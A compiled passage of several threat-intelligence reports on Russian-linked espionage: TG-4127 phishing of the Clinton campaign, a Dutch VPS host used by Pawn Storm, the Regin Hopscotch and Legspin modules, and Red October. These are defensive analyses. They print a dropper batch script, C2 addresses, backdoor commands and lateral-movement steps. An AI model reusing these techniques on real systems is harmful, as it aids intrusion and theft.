CTU researchers do not have evidence that these spearphishing emails are connected to the DNC network compromise that was revealed on June 14.
However, a coincidence seems unlikely, and CTU researchers suspect that TG-4127 used the spearphishing emails or similar techniques to gain an initial foothold in the DNC network.
Personal email accounts CTU researchers identified TG-4127 targeting 26 personal gmail.com accounts belonging to individuals linked to the Hillary for America campaign, the DNC, or other aspects of U.S. national politics.
Five of the individuals also had a hillaryclinton.com email account that was targeted by TG-4127.
Many of these individuals held communications, media, finance, or policy roles.
They include the director of speechwriting for Hillary for America and the deputy director office of the chair at the DNC.
TG-4127 created 150 short links targeting this group.
As of this publication, 40 of the links have been clicked at least once.
Related activity and implications Although the 2015 campaign did not focus on individuals associated with U.S. politics, open-source evidence suggests that TG-4127 targeted individuals connected to the U.S. White House in early 2015.
The threat group also reportedly targeted the German parliament and German Chancellor Angela Merkels Christian Democratic Union party.
CTU researchers have not observed TG-4127 use this technique (using Bitly short links) to target the U.S. Republican party or the other U.S. presidential candidates whose campaigns were active between mid-March and mid-May: Donald Trump, Bernie Sanders, Ted Cruz, Marco Rubio, and John Kasich.
However, the following email domains do not use Google mail servers and may have been targeted by other means: gop.com  used by the Republican National Committee donaldjtrump.com  used by the Donald Trump campaign johnkasich.com  used by the John Kasich campaign Access to targets Google accounts allows TG-4127 to review internal emails and potentially access other Google Apps services used by these organizations, such as Google Drive.
In addition to the value of the intelligence, the threat actors could also exploit this access for other malicious activity, such as generating spearphishing emails from internal email addresses to compromise the organizations networks with malware.
The Russian government views the U.S. as a strategic rival and is known to task its intelligence agencies with gathering confidential information about individuals and organizations close to the center of power in the U.S.
Individuals working for the Hillary for America campaign could have information about proposed policies for a Clinton presidency, including foreign-policy positions, which would be valuable to the Russian government.
Information about travel plans and campaign scheduling could provide short-term opportunities for other intelligence operations.
3/5 http://edition.cnn.com/2016/06/14/politics/democratic-national-committee-breach-russians-donald-trump/ http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities-targets-nato-white-house/ http://www.bbc.co.uk/news/technology-36284447 Long-term access to email accounts of senior campaign advisors, who may be appointed to staff positions in a Clinton administration, could provide TG-4127 and the Russian government with access to those individuals accounts.
Conclusion While TG-4127 continues to primarily threaten organizations and individuals operating in Russia and former Soviet states, this campaign illustrates its willingness to expand its scope to other targets that have intelligence of interest to the Russian government.
Non-governmental political organizations may provide access to desirable national policy information, especially foreign policy, but may not have the same level of protection and security as governmental organizations.
Targeting individuals linked to presidential campaigns could represent an intelligence long game, as establishing access to potential U.S. administration staff before they are appointed could be easier than targeting them when they are established in the White House.
Access to an individuals personal or corporate email account provides a substantial amount of useful intelligence, and threat actors could also leverage the access to launch additional attacks to penetrate the network of an associated organization.
Users rarely check the full URL associated with short links, so threat groups can use URL-shortening services to effectively hide malicious URLs.
Threat actors can use the services detailed statistics about which links were clicked when, and from what location, to track the success of a spearphishing campaign.
A single compromised account could allow TG-4127 to achieve its operational goals.
CTU researchers recommend that clients take appropriate precautions to minimize the risk of these types of attacks: Educate users about the risks of spearphishing emails.
Use caution and exercise due diligence when faced with a shortened link, especially in unsolicited email messages.
Pasting Bitly URLs, appended with a plus sign, into the address bar of a web browser reveals the full URL.
For clients using Gmail as a corporate mail solution, educate users about the risk of spoofed login pages and encourage them to confirm they are on the legitimate Google Accounts page when presented with a Google login prompt.
Appendix  Gauging confidence level CTU researchers have adopted the grading system published by the U.S. Office of the Director of National Intelligence to indicate confidence in their assessments: High confidence generally indicates that judgments are based on high-quality information, and/or that the nature of the issue makes it possible to render a solid judgment.
A high confidence judgment is not a fact or a certainty, however, and such judgments still carry a risk of being wrong.
Moderate confidence generally means that the information is credibly sourced and plausible but not of sufficient quality or corroborated sufficiently to warrant a higher level of confidence.
Low confidence generally means that the informations credibility and/or plausibility is questionable, or that the information is too fragmented or poorly corroborated to make solid analytic inferences, or that [there are] significant concerns or problems with the sources.
[
1] The SecureWorks Counter Threat Unit (CTU) research team tracks threat groups by assigning them four-digit randomized numbers (4127 in this case), and compiles information from external sources and from first-hand incident response observations.
4/5 5/5 Threat Group-4127 Targets Hillary Clinton Presidential Campaign Summary Spearphishing details Hillary for America Democratic National Committee Personal email accounts Related activity and implications Conclusion Appendix  Gauging confidence level
Looking Into a Cyber-Attack Facilitator in the Netherlands blog.trendmicro.com /trendlabs-security-intelligence/looking-into-a-cyber-attack-facilitator-in-the-netherlands/ Feike Hacquebord (Senior Threat Researcher) A small web hosting provider with servers in the Netherlands and Romania has been a hotbed of targeted attacks and advanced persistent threats (APT) since early 2015.
Starting from May 2015 till today we counted over 100 serious cyber attacks that originated from servers of this small provider.
Pawn Storm used the servers for at least 80 high profile attacks against various governments in the US, Europe, Asia, and the Middle East.
Formally the Virtual Private Server (VPS) hosting company is registered in Dubai, United Arab Emirates (UAE).
But from public postings on the Internet, it is apparent that the owner doesnt really care about laws in UAE.
In fact, Pawn Storm and another threat actor attacked the UAE government using servers of the VPS provider through highly targeted credential phishing.
Other threat actors like DustySky (also known as the Gaza hackers) are also regularly using the VPS provider to host their command-and-control (CC) servers and to send spear phishing e-mails.
Besides cyber-espionage and cyber attacks, this VPS provider hosts a lot of cybercrime as well.
In 2014, it hosted a CC server of the infamous Carbanak banking malware.
In 2015, the hosting provider more or less invited spammers to come abuse its services when support staff posted a public post on a shady webforum saying: sending campaigns of email marketing is allowed.
When one takes this literally there is nothing illegal or malicious there.
However, email marketing is usually spammers speak for e-mail spamming.
Figure 1.
VPS confirming email marketing service In 2015, the VPS provider had the notorious bulletproof hosting provider Maxided as a customer.
Starting from last fall, border gateway protocol (BGP) routing tricks were applied to obscure the fact that Maxided was routing IP addresses via the VPS provider to computer servers in a datacenter in Amsterdam.
In 2016 BGP routing tricks continued to obscure the view on malicious activities.
More than once, we have witnessed that the VPS provider announced small IP ranges (CIDRs) assigned to Russia or Chile for a short period of time, sometimes for a couple of days only.
While these short announcements might seem like mistakes caused by fat fingers, we believe they are for malicious activities that must remain unnoticed.
Indeed we have seen bursts of e-crime like phishing sites and CC servers hosted during the time intervals the IP ranges were announced.
Apparently when complaints come in or when the attack campaign has finished, the IP ranges are removed from the routing table and later the same trick starts again with another small IP range that still has a clean record.
As mentioned earlier, the postal address of the VPS company is in Dubai, but the owner makes it clear in public postings that he doesnt feel bound to laws in Dubai.
In fact Pawn Storm set up very targeted credential phishing sites against the UAE government and UAE armed forces more than once on IP addresses of the VPS provider in 2015.
1/5 http://blog.trendmicro.com/trendlabs-security-intelligence/looking-into-a-cyber-attack-facilitator-in-the-netherlands/ http://blog.trendmicro.com/trendlabs-security-intelligence/looking-into-a-cyber-attack-facilitator-in-the-netherlands/respond http://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-pawn-storm-fast-facts http://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/3142/carbanak-targeted-attack-campaign-hits-banks-and-financial-institutions http://blog.trendmicro.com/trendlabs-security-intelligence/files/2016/04/VPS.png http://blog.trendmicro.com/trendlabs-security-intelligence/files/2016/04/linkedin.png http://blog.trendmicro.com/trendlabs-security-intelligence/files/2016/04/timeline.jpg Elusive entity The identity of the owner of the VPS company is unclear to us.
There is a name in the public RIPE whois database and someone is using that name to post responses to queries on forums about web hosting companies.
But it is unclear whether that name is real or not.
Figure 2.
VPS Director Linkedin profile The LinkedIn page of the director only has two connections and doesnt show any working history.
We were able to identify other persons who are working for the company.
They come from the Philippines, Egypt and Palestine, indicating that the VPS provider probably uses a virtual team of employees who work remotely.
Interesting mix of customers The mix of customers using the VPS provider for cyber attacks is interesting: Pawn Storm seems to feel quite at home.
They used the VPS hosting company for at least 80 attacks since May 2015.
Their attacks utilized CC servers, exploit sites, spear-phishing campaigns, free Webmail phishing sites targeting high profile users, and very specific credential phishing sites against Government agencies of countries like Bulgaria, Greece, Malaysia, Montenegro, Poland, Qatar, Romania, Saudi Arabia, Turkey, Ukraine, and United Arab Emirates.
Pawn Storm also uses the VPS provider in the Netherlands for domestic espionage in Russia regularly.
Apart from Pawn Storm, a less sophisticated group of threat actors called DustySky is using the VPS provider.
These actors target Israel, companies who do business in Israel, Egypt and some other Middle Eastern governments.
In 2016, the cybercrime spam problem has reduced.
The VPS provider does have some legitimate customers, so the company is not 100 bulletproof in the strict sense.
However, the amount of abuse continues to be high and the number of APT attacks is so staggering that this company will remain on our watchlist in the next few months.
The Netherlands has good Internet connectivity and stable hosting providers.
This is one of the reasons why cybercriminals and APT actors like to use servers in this country.
The small VPS provider in Amsterdam is not the 2/5 http://blog.trendmicro.com/trendlabs-security-intelligence/aftermath-2015-breaches-threat-trends/ only one that attracts Pawn Storm and other APT actors.
About a year ago, a hosting company from The Hague, known for its leniency in preventing outbound DDoS attacks from its network, rebranded itself to an offshore web hosting company with a postbox in Panama and Seychelles.
Pawn Storm already found its way to the rebranded hosting company and hosted a credential phishing site targeting a state run press agency of Turkey there.
The financial sector in the Netherlands has been called out by experts as vulnerable to tax evasion constructions.
Is the Dutch web hosting industry vulnerable to off shore constructions that offer enhanced anonymity to cybercrime and cyber espionage?
Below is a timeline showing the attacks originating from IP addresses of a VPS hosting provider in the Netherlands.
The appendix of this timeline is here.
3/5 http://documents.trendmicro.com/assets/appendix_looking-into-a-cyber-attack-facilitator-in-the-netherlands.pdf 4/5 Update as of April 21, 2016, 7:15 P.M. PDT: The appendix was added.
5/5 Looking Into a Cyber-Attack Facilitator in the Netherlands
An analysis of Regins Hopscotch and Legspin With high profile threats like Regin, mistakes are incredibly rare.
However, when it comes to humans writing code, some mistakes are inevitable.
Among the most interesting things we observed in the Regin malware operation were the forgotten codenames for some of its modules.
These are: Hopscotch Legspin Willischeck U_STARBUCKS We decided to analyze two of these modules in more detail - Hopscotch and Legspin.
Despite the overall sophistication (and sometimes even over-engineering) of the Regin platform, these tools are simple, straightforward and provide interactive console interfaces for Regin operators.
What makes them interesting is the fact they were developed many years ago and could even have been created before the Regin platform itself.
The Hopscotch module MD5 6c34031d7a5fc2b091b623981a8ae61c Size 36864 bytes Type Win32 EXE Compiled 2006.03.22 19:09:29 (GMT) This module has another binary inside, stored as resource 103: MD5 42eaf2ab25c9ead201f25ecbdc96fb60 Size 18432 bytes Type Win32 EXE Compiled 2006.03.22 19:09:29 (GMT) This executable module was designed as a standalone interactive tool for lateral movement.
It does not contain any exploits but instead relies on previously acquired credentials to authenticate itself at the remote machine using standard APIs.
The module receives the name of the target machine and an optional remote file name from the standard input (operator).
The attackers can choose from several options at the time of execution and the tool provides human-readable responses and suggestions for possible input.
http://securelist.com/blog/research/67741/regin-nation-state-ownage-of-gsm-networks/ Heres an example of Hopscotch running inside a virtual machine: Authentication Mechanism (SU or NETUSE) [S]/N: Continue?
[
n]: A File of the same name was already present on Remote Machine - Not deleting...
The module can use two routines to authenticate itself at the target machine: either connecting to the standard share named IPC (method called NET USE) or logging on as a local user (SU, or switch user) who has enough rights to proceed with further actions.
It then extracts a payload executable from its resources and writes it to a location on the target machine.
The default location for the payload is: \\target\ADMIN\SYSTEM32\SVCSTAT.EXE.
Once successful, it connects to the remote machines service manager and creates a new service called Service Control Manager to launch the payload.
The service is immediately started and then stopped and deleted after one second of execution.
The module establishes a two-way encrypted communication channel with the remote payload SVCSTAT.EXE using two named pipes.
One pipe is used to forward input from the operator to the payload and the other writes data from the payload to the standard output.
Data is encrypted using the RC4 algorithm and the initial key exchange is protected using asymmetric encryption.
\\target\pipe\66fbe87a-4372-1f51-101d-1aaf0043127a \\target\pipe\44fdg23a-1522-6f9e-d05d-1aaf0176138a Once completed, the tool deletes the remote file and closes the authenticated sessions, effectively removing all the traces of the operation.
The SVCSTAT.EXE payload module launches its copy in the process dllhost.exe and then prepares the corresponding named pipes on the target machine and waits for incoming data.
Once the original module connects to the pipe, it sets up the encryption of the pipe communication and waits for the incoming shellcode.
The executable is injected in a new process of dllhost.exe or svchost.exe and executed, with its input and output handles redirected to the remote plugin that initiated the attack.
This allows the operator to control the injected module and interact with it.
The Legspin module MD5 29105f46e4d33f66fee346cfd099d1cc Size 67584 bytes Type Win32 EXE Compiled 2003.03.17 08:33:50 (GMT) This module was also developed as a standalone command line utility for computer administration.
When run remotely it becomes a powerful backdoor.
It is worth noting that the program has full console support and features colored output when run locally.
It can even distinguish between consoles that support Windows Console API and TTY-compatible terminals that accept escape codes for coloring.
Legspin output in a standard console window with color highlighting In addition to the compilation timestamp found in the PE headers, there are two references that point to 2003 as its true year of compilation.
The program prints out two version labels: 2002-09-A, referenced as lib version 2003-03-A In addition the program uses legacy API functions, like NetBIOS that was introduced in Windows 2000 and deprecated in Windows Vista.
Once started and initialized, it provides the operator with an interactive command prompt, waiting for incoming commands.
The list of available commands is pretty large and allows the operators to perform many administrative actions.
Some of the commands require additional information that is requested from the operator, and the commands provide a text description of the available parameters.
The program is actually an administrative shell that is intended to be operated manually by the attacker/user.
Command Description cd Change current working directory http://25zbkz3k00wn2tp5092n6di7b5k.wpengine.netdna-cdn.com/files/2015/01/regin2_1.jpg dir ls dirl dirs List files and directories tar Find files matching a given mask and time range, and write their contents to a XOR-encrypted archive tree Print out a directory tree using pseudographics trash Read and print out the contents of the Windows Recycle Bin directory get Retrieve an arbitrary file from the target machine, LZO compressed put Upload an arbitrary file to the target machine, LZO compressed del Delete a file ren mv copy cp Copy or move a file to a new location gtm Get file creation, access, write timestamps and remember the values stm Set file creation, access, write timestamps to the previously retrieved values mtm Modify the previously retrieved file timestamps scan strings Find and print out all readable strings from a given file more Print out the contents of an arbitrary file access Retrieve and print out DACL entries of files or directories audit Retrieve and print out SACL entries of files or directories finfo Retrieve and print out version information from a given file cs Dump the first 10,000 bytes from an arbitrary file or from several system files: advapi32.dll http://25zbkz3k00wn2tp5092n6di7b5k.wpengine.netdna-cdn.com/files/2015/01/regin2_2.jpg kernel32.dll msvcrt.dll ntdll.dll ntoskrnl.exe win32k.sys cmd.exe ping.exe ipconfig.exe tracert.exe netstat.exe net.exe user32.dll gdi32.dll shell32.dll lnk Search for LNK files, parse and print their contents info Print out general system information: CPU type memory status computer name Windows and Internet Explorer version numbers Windows installation path Codepage dl Print information about the disks: Type Free/used space List of partitions, their filesystem types ps List all running processes logdump Unfinished, only displays the parameter description reglist Dump registry information for a local or remote hive windows Enumerate all available desktops and all open windows view List all visible servers in a domain domains List the domain controllers in the network shares List all visible network shares regs Print additional system information from the registry: IE version Outlook Express version Logon default user name System installation date BIOS date CPU frequency System root directory ips List network adapter information: DHCP/static IP address Default gateways address times Obtain the current time from a local or remote machine who List the names of current users and the domains accessed by the machine net nbtstat tracert ipconfig netstat ping Run the corresponding system utility and print the results tel Connect to a given TCP port of a host, send a string provided by the operator, print out the response dns arps Resolve a host using DNS or ARP requests users List information about all user accounts admins List information about user accounts with administrative privileges groups List information about user groups trusts List information about interdomain trust user accounts packages Print the names of installed software packages sharepw Run a brute-force login attack trying to obtain the password of a remote share sharelist Connect to a remote share srvinfo Retrieve current configuration information for the specified server netuse Connect, disconnect or list network shares netshare Create or remove network shares on the current machine nbstat List NetBIOS LAN adapter information run Create a process and redirect its output to the operator system Run an arbitrary command using WinExec API exit Exit the program set Set various internal variables used in other shell commands su Log on as a different user kill Terminate a process by its PID kpinst Modify the registry value: [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] System This value should normally point to lsass.exe.
svc drv Create, modify or remove a system service help ?
Print the list of supported commands The Legspin module we recovered doesnt have a built-in CC mechanism.
Instead, it relies on the Regin platform to redirect the console input/output to/from the operators.
Conclusions Unlike most other Regin modules, Legspin and Hopscotch appear to be stand-alone tools developed much earlier.
The Legspin backdoor in particular dates back to 2003 and perhaps even 2002.
Its worth pointing that not all Regin deployments contain the Legspin module in most cases, the attackers manage their victims through other Regin platform functions.
This means that Legspin could have been used independently from the Regin platform, as a simple backdoor together with an input/output wrapper.
Although more details about Regin are becoming available, there is still a lot that remains unknown.
One thing is already clear  what we know about Regin is probably already retired information that has been replaced by new modules and techniques as time passes.
Red October Diplomatic Cyber Attacks Investigation Contents Executive Summary Anatomy of the attack General description Step-by-step description (1st stage) Step-by-step description (2nd stage) Timeline Targets KSN statistics Sinkhole statistics KSN  sinkhole data C information Executive Summary In October 2012, Kaspersky Labs Global Research  Analysis Team initiated a new threat research after a series of attacks against computer networks of various international diplomatic service agencies.
A large scale cyber-espionage network was revealed and analyzed during the investigation, which we called Red October (after famous novel The Hunt For The Red October).
This report is based on detailed technical analysis of a series of targeted attacks against diplomatic, governmental and scientific research organizations in different countries, mostly related to the region of Eastern Europe, former USSR members and countries in Central Asia.
The main objective of the attackers was to gather intelligence from the compromised organizations, which included computer systems, personal mobile devices and network equipment.
The earliest evidence indicates that the cyber-espionage campaign was active since 2007 and is still active at the time of writing (January 2013).
Besides that, registration data used for the purchase of several Command  Control (CC) servers and unique malware filenames related to the current attackers hints at even earlier time of activity dating back to May 2007.
Main Findings Advanced Cyber-espionage Network: The attackers have been active for at least several years, focusing on diplomatic and governmental agencies of various countries across the world.
Information harvested from infected networks was reused in later attacks.
For example, stolen credentials were compiled in a list and used when the attackers needed to guess secret phrase in other locations.
To control the network of infected machines, the attackers created more than 60 domain names and several server hosting locations in different countries (mainly Germany and Russia).
The CC infrastructure is actually a chain of servers working as proxies and hiding the location of the mothership control server.
Unique architecture: The attackers created a multi-functional kit which has a capability of quick extension of the features that gather intelligence.
The system is resistant to CC server takeover and allows the attack to recover access to infected machines using alternative communication channels.
Broad variety of targets: Beside traditional attack targets (workstations), the system is capable of stealing data from mobile devices, such as smartphones (iPhone, Nokia, Windows Mobile), enterprise network equipment (Cisco), removable disk drives (including already deleted files via a custom file recovery procedure).
Importation of exploits: The samples we managed to find were using exploit code for vulnerabilities in Microsoft Word and Microsoft Excel that were created by other attackers and employed during different cyber attacks.
The attackers left the imported exploit code untouched, perhaps to harden the identification process.
Attacker identification: Basing on registration data of CC servers and numerous artifacts left in executables of the malware, we strongly believe that the attackers have Russian-speaking origins.
Current attackers and executables developed by them have been unknown until recently, they have never related to any other targeted cyberattacks.
Anatomy of the attack General description These attacks comprised of the classical scenario of specific targeted attacks, consisting of two major stages: 1.
Initial infection 2.
Additional modules deployed for intelligence gathering The malicious code was delivered via e-mail as attachments (Microsoft Excel, Word and, probably PDF documents) which were rigged with exploit code for known security vulnerabilities in the mentioned applications.
In addition to Office documents (CVE-2009-3129, CVE-2010-3333, CVE-2012-0158), it appears that the attackers also infiltrated victim network(s) via Java exploitation (known as the Rhino exploit (CVE-2011-3544).
Right after the victim opened the malicious document or visit malicious URL on a vulnerable system, the embedded malicious code initiated the setup of the main component which in turn handled further communication with the CC servers.
Next, the system receives a number of additional spy modules from the CC server, including modules to handle infection of smartphones.
The main purpose of the spying modules is to steal information.
This includes files from different cryptographic systems, such as Acid Cryptofiler, (see https://fr.wikipedia.org/wiki/Acid_Cryptofiler) which is known to be used in organizations of European Union/European Parliament/European Commission since the summer of 2011.
All gathered information is packed, encrypted and only then transferred to the CC server.
Step-by-step description (1st stage) During our investigation we couldnt find any e-mails used in the attacks, only top level dropper documents.
Nevertheless, based on indirect evidence, we know that the e-mails can be sent using one of the following methods: Using an anonymous mailbox from a free public email service provider Using mailboxes from already infected organizations E-mail subject lines as well as the text in e-mail bodies varied depending on the target (recipient).
The attached file contained the exploit code which activated a Trojan dropper in the system.
We have observed the use of at least three different exploits for previously known vulnerabilities: CVE- 2009-3129 (MS Excel), CVE-2010-3333 (MS Word) and CVE-2012-0158 (MS Word).
The first attacks that used the exploit for MS Excel started in 2010, while attacks targeting the MS Word vulnerabilities appeared in the summer of 2012.
As a notable fact, the attackers used exploit code that was made public and originally came from a previously known targeted attack campaign with Chinese origins.
The only thing that was changed is the executable which was embedded in the document the attackers replaced it with their own code.
The embedded executable is a file-dropper, which extracts and runs three additional files.
TEMPMSC.BAT ProgramFilesWINDOWS NTLHAFD.GCP (- This file name varies) ProgramFilesWINDOWS NTSVCHOST.EXE https://fr.wikipedia.org/wiki/Acid_Cryptofiler MSC.BAT file has the following contents: chcp 1251 :Repeat attrib -a -s -h -r DROPPER_FILE del DROPPER_FILE if exist DROPPER_FILE goto Repeat del TEMPmsc.bat Another noteworthy fact is in the first line of this file, which is a command to switch the codepage of an infected system to 1251.
This is required to address files and directories that contain Cyrillic characters in their names.
The LHAFD.GCP file is encrypted with RC4 and compressed with the Zlib library.
This file is essentially a backdoor, which is decoded by the loader module (svchost.exe).
The decrypted file is injected into system memory and is responsible for communication with the CC server.
On any infected system, every major task is performed by the main backdoor component.
The main component is started only after its loader (svchost.exe) checks if the internet connection is available.
It does so by connecting to three Microsoft hosts: update.microsoft.com www.microsoft.com support.microsoft.com Figure - Hosts used to validate internet connection After the Internet connection is validated, the loader executes the main backdoor component that connects to its CC servers: Capture of malwares communication with the C2 The connections with the CC are encrypted - different encryption algorithms are used to send and receive data.
Encrypted communication with the C2 During our investigation, we found more than 60 different command-and-control domains.
Each malware sample contains three such domains, which are hardcoded inside the main backdoor component: Hardcoded C2 domains inside backdoor Step-by-step description (2nd stage) After a connection with the CC server is established, the backdoor starts the communication process, which leads to the loading of additional modules.
These modules can be split into two categories: offline and online.
The main difference between these categories is their behavior on the infected system: Offline: exists as files on local disk, capable of creating its own system registry keys, local disk log files, and may communicate with CC servers on their own.
Online: exists only in system memory and is never saved to local disk, do not create registry keys, all logs are also kept in memory instead of local disk and sends the result of work to the CC server using own code.
There is a notable module among all others, which is essentially created to be embedded into Adobe Reader and Microsoft Office applications.
The main purpose of its code is to create a foolproof way to regain access to the target system.
The module expects a specially crafted document with attached executable code and special tags.
The document may be sent to the victim via e-mail.
It will not have an exploit code and will safely pass all security checks.
However, like with exploit case, the document will be instantly processed by the module and the module will start a malicious application attached to the document.
This trick can be used to regain access to the infected machines in case of unexpected CC servers shutdown/takeover.
Timeline We have identified over 1000 different malicious files related to over 30 modules of this Trojan kit.
Most of them were created between May 2010 and October 2012.
There were 115 file-creation dates identified which are related to these campaigns via emails during the last two and a half years.
Concentration of file creation dates around a particular day may indicate date of the massive attacks (which was also confirmed by some of our side observations): Year 2010 19.05.2010 21.07.2010 04.09.2010 Year 2011 05.01.2011 14.03.2011 05.04.2011 23.06.2011 06.09.2011 21.09.2011 Year 2012 12.01.2012 Below is a list of sample attachment filenames that were sent to some of the victims: File name: Katyn_-_opinia_Rosjan.xls FIEO contacts update.xls spisok sotrudnikov.xls List of shahids.xls Spravochnik.xls Telephone.xls BMAC Attache List - At 11 Oct_v1[1].XLS MERCOSUR_Imports.xls Cpia de guia de telefonos (2).xls Programme de fetes 2011.xls 12 05 2011 updated.xls telefonebi.xls Targets We used two approaches to identify targets for these attacks.
First, we used the Kaspersky Security Network (KSN) and then we set up our own sinkhole server.
The data received using two independent ways was correlating and this confirmed objective findings.
KSN statistics The attackers used already detected exploit codes and because of this, in the beginning of the research we already had some statistics of detections with our anti-malware software.
We searched for similar detections for the period of 2011-2012.
That is how we discovered more than 300 unique systems, which had detected at least one module of this Trojan kit.
RUSSIAN FEDERATION 35 KAZAKHSTAN 21 AZERBAIJAN 15 BELGIUM 15 INDIA 15 AFGHANISTAN 10 ARMENIA 10 IRAN 7 TURKMENISTAN 7 UKRAINE 6 UNITED STATES 6 VIET NAM 6 BELARUS 5 GREECE 5 ITALY 5 MOROCCO 5 PAKISTAN 5 SWITZERLAND 5 UGANDA 5 UNITED ARAB EMIRATES 5 BRAZIL 4 FRANCE 4 GEORGIA 4 GERMANY 4 JORDAN 4 MOLDOVA 4 SOUTH AFRICA 4 TAJIKISTAN 4 TURKEY 4 UZBEKISTAN 4 AUSTRIA 3 CYPRUS 3 KYRGYZSTAN 3 LEBANON 3 MALAYSIA 3 QATAR 3 SAUDI ARABIA 3 CONGO 2 INDONESIA 2 KENYA 2 LITHUANIA 2 OMAN 2 TANZANIA 2 Countries with more than one infections Once again, this is based on data from Kaspersky AV products.
Apparently, real number and list of victim names is much larger than mentioned above.
Sinkhole statistics During our analysis, we uncovered more than 60 different domains used by different variants of the malware.
Out of the list of domains, several were expired so we registered them to evaluate the number of victims connecting to them.
The following domains have been registered and sinkholed by Kaspersky Lab: Domain Date sinkholed shellupdate.com 5-Dec-2012 msgenuine.net 19-Nov-2012 microsoft-msdn.com 5-Nov-2012 windowsonlineupdate.com dll-host-update.com windows-genuine.com 2-Nov-2012 All the sinkholed domains currently point to 95.211.172.143, which is Kasperskys sinkhole server.
During the monitoring period (2- Nov 2012 - 10 Jan 2013), we registered over 55,000 connections to the sinkhole.
The most popular domain is dll-host-update.com, which is receiving most of the traffic.
From the point of view of country distribution of connections to the sinkhole, we have observed victims in 39 countries, with most of IPs being from Switzerland.
Kazakhstan and Greece follow next.
Interestingly, when connecting to the sinkhole, the backdoors submit their unique victim ID, which allows us to separate the multiple IPs per victims.
Based on the traffic received to our sinkhole, we created the following list of unique victim IDs, countries and possible profiles: Victim ID Country Victim profile 0706010C1BC0B9E5B702 Kazakhstan Gov research institute 0F746C2F283E2FACE581 Kazakhstan ?
150BD7E7449C42C66ED1 Kazakhstan ?
15B7400DBC4975BFAEF6 Austria ?
24157B5D2CD0CA8AA602 UAE ?
3619E36303A2A56DC880 Russia Foreign Embassy 4624C55DEF872FBF2A93 Spain ?
4B5181583F843A904568 Spain ?
4BB2783B8AEC0B439CE8 Switzerland ?
5392032B24AAEE8F3333 Kazakhstan ?
569530675E86118895C4 Pakistan ?
57FE04BA107DD56D2820 Iran Foreign Embassy 5D4102CD1D87417FF93B Russia Gov research institute 5E65486EF8CC4EE4DB5B Japan Foreign Trade Commission 6127D685ED1E72E09201 Kazakhstan ?
6B9AFF89A02958C79C17 Ireland Foreign Embassy 6D97B24C08DD64EEDE03 Czech Republic ?
7B14DE85C80368337E87 Turkey ?
89BF96469244534DC092 Belarus Gov research institute 8AA071A22BEDD8D8EC13 Moldova Government 8C58407030570D3A3F52 Albania ?
947827A169348FB01E2F Bosnia and Herzegovina ?
B34C94D561B348EAC75D Switzerland ?
B49FC93701E7B7F83C44 Belgium ?
B6E4946A47FC3963ABC1 Kazakhstan Energy research group C978C25326D96C995038 Russia ?
D48A783D288DC72A702B Kazakhstan Aerospace DAE795D285E0A01ADED5 Russia Trading company DD767EEEF83A62388241 Russia Gov research institute In some cases, it is possible to create a profile of the victim based on the IP address in most of the cases, however, the identity of the victim remains unknown.
KSN  sinkhole data Some of the victim organizations were identified using IP addresses and public WHOIS information or remote system names.
Most interesting out of those are: Algeria - Embassy Afghanistan - Gov, Military, Embassy, Armenia - Gov, Embassy Austria - Embassy Azerbaijan - Oil/Energy, Embassy, Research, Belarus - Research, Oil/Energy, Gov, Embassy Belgium - Embassy Bosnia and Herzegovina - Embassy Botswana - Embassy Brunei Darussalam  Gov Congo  Embassy Cyprus - Embassy, Gov France - Embassy, Military Georgia - Embassy Germany - Embassy Greece  Embassy Hungary -Embassy India  Embassy Indonesia - Embassy Iran  Embassy Iraq  Gov Ireland - Embassy Israel - Embassy Italy -Embassy Japan - Trade, Embassy Jordan - Embassy Kazakhstan - Gov, Research, Aerospace, Nuclear/Energy, Military Kenya - Embassy Kuwait - Embassy Latvia - Embassy Lebanon - Embassy Lithuania - Embassy Luxembourg - Gov Mauritania - Embassy Moldova - Gov, Military, Embassy Morocco - Embassy Mozambique - Embassy Oman - Embassy Pakistan - Embassy Portugal - Embassy Qatar - Embassy Russia - Embassy, Research, Military, Nuclear/Energy Saudi Arabia - Embassy South Africa - Embassy Spain - Gov, Embassy Switzerland - Embassy Tanzania - Embassy Turkey - Embassy Turkmenistan - Gov, Oil/Energy Uganda - Embassy Ukraine - Military United Arab Emirates - Oil/Energy, Embassy, Gov United States - Embassy Uzbekistan - Embassy C information A list of the most popular domains used for command and control can be found below: Interestingly, although the domain dll-host-update.com appears in one of the malware configurations, it had not been registered by the attackers.
The domain has since been registered by Kaspersky Lab on Nov 2nd, 2012 to monitor the attackers activities.
Another interesting example is dll-host-udate.com - the udate part appears to be a typo.
All the domains used by attackers appear to have been registered between 2007-2012.
The oldest known domain was registered in Nov 2007 the newest on May 2012.
Most of the domains have been registered using the service reg.ru, but other services such as webdrive.ru, webnames.ru or timeweb.ru have been used as well.
During our monitoring, we observed the domains pointing to several malicious webservers.
A list of servers with confirmed malicious behavior can be found below.
In total, we have identified 10 different servers which exhibited confirmed malicious behavior.
Most of these severs are located in Germany, at Hetzner Online Ag.
During our analysis, we were able to obtain an image of one of the command-and-control servers.
The server itself proved to be a proxy, which was forwarding the request to another server on port 40080.
The script responsible for redirections was found in /root/scp.pl and relies on the socat tool for stream redirection.
By scanning the Internet for computers with port 40080 open, we were able to identify three such servers in total, which we call mini-motherships: Connecting to these hosts on port 40080 and fetching the index page, we get the following standard content which is identical in all CCs: Fetching the index info (via HTTP HEAD) for these servers, reveals the following: curl -I --referer http://www.google.com/ --user-agent Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1) http://31.41.45.139:40080 HTTP/1.1 200 OK Date: Mon, 12 Nov 2012 09:58:37 GMT Server: Apache Last-Modified: Tue, 21 Feb 2012 09:00:41 GMT ETag: 8c0bf6-ba-4b975a53906e4 Accept-Ranges: bytes Content-Length: 186 Content-Type: text/html http://31.41.45.139:40080/ curl -I --referer http://www.google.com/ --user-agent Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1) http://178.63.208.63:40080 HTTP/1.1 200 OK Date: Mon, 12 Nov 2012 09:59:09 GMT Server: Apache Last-Modified: Tue, 21 Feb 2012 09:00:41 GMT ETag: 8c0bf6-ba-4b975a53906e4 Accept-Ranges: bytes Content-Length: 186 Content-Type: text/html It should be noted that the last modified field of the pages points to the same date: Tue, 21 Feb 2012 09:00:41 GMT.
This is important and probably indicates that the three known mini-motherships are probably just proxies themselves, pointing to the same top level mothership server.
